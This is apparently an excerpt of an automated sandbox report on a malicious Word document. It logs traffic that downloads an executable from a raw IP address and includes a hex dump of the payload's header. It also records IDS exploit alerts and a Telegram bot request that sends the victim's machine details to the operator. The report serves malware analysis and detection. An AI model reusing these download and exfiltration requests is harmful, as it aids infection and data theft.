Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 154.216.19.160:80 -> 192.168.2.22:49163
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 154.216.19.160:80 -> 192.168.2.22:49163
Source: Network traffic Suricata IDS: 2827449 - Severity 1 - ETPRO EXPLOIT Adobe EMF File Memory Corrpution Vulnerability Inbound (CVE-2017-3123) : 154.216.19.160:80 -> 192.168.2.22:49163
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.24.0Date: Mon, 07 Oct 2024 12:55:51 GMTContent-Type: application/x-msdos-programContent-Length: 686080Connection: keep-aliveLast-Modified: Mon, 07 Oct 2024 06:03:47 GMTETag: "a7800-623dcc8bb8743"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 39 75 03 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 6e 0a 00 00 08 00 00 00 00 00 00 4a 8c 0a 00 00 20 00 00 00 a0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 8b 0a 00 4f 00 00 00 00 a0 0a 00 a4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0a 00 0c 00 00 00 fc 75 0a 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 6c 0a 00 00 20 00 00 00 6e 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 a4 05 00 00 00 a0 0a 00 00 06 00 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0a 00 00 02 00 00 00 76 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 8c 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 3c 39 00 00 b0 2e 00 00 03 00 00 00 1f 00 00 06 ec 67 00 00 10 0e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 31 00 00 00 01 00 00 11 00 7e 02 00 00 04 02 12 00 6f 16 00 00 0a 16 fe 01 0b 07 2c 16 00 02 73 03 00 00 06 0a 7e 02 00 00 04 02 06 6f 17 00 00 0a 00 00 06 0c 2b 00 08 2a 26 02 28 18 00 00 0a 00 00 2a 42 02 28 18 00 00 0a 00 00 02 03 7d 03 00 00 04 2a 1e 02 7b 03 00 00 04 2a 13 30 01 00 15 00 00 00 02 00 00 11 02 28 04 00 00 06 0a 12 00 fe 16 0c 00 00 02 6f 19 00 00 0a 2a 5a 02 28 04 00 00 06 1e 2e 0b 02 28 04 00 00 06 1d fe 01 2b 01 17 2a 72 02 28 06 00 00 06 2d 12 7e 01 00 00 04 02 28 04 00 00 06 6f 1a 00 00 0a 2b 01 16 2a 00 00 00 13 30 04 00 58 00 00 00 00 00 00 00 73 1b 00 00 0a 25 16 17 6f 1c 00 00 0a 00 25 17 1c 6f 1c 00 00 0a 00 25 18 1f 0c 6f 1c 00 00 0a 00 25 19 1f 24 6f 1c 00 00 0a 00 25 1a 1f 48 6f 1c 00 00 0a 00 25 1b 1c 6f 1c 00 00 0a 00 25 1c 1f 24 6f 1c 00 00 0a 00 80 01 00 00 04 73 1d 00 00 0a 80 02 00 00 04 2a 1e 02 7b 04 00 00 04 2a 22 02 03 7d 04 00 00 04 2a 1a 7e 05 00 00 04 2a 1b 30 03 00 6d 00 00 00 03
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2010/7/2024%20/%2011:37:00%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\obisfd.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49167 -> 158.101.44.242:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49169 -> 158.101.44.242:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49164 -> 158.101.44.242:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49168 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49166 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49176 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49174 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49180 -> 188.114.96.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/6FfzLi8FyhIIqWu.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 154.216.19.160Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.160
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4C41869C-0672-4277-9509-12EF10C75296}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2010/7/2024%20/%2011:37:00%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /txt/6FfzLi8FyhIIqWu.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 154.216.19.160Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
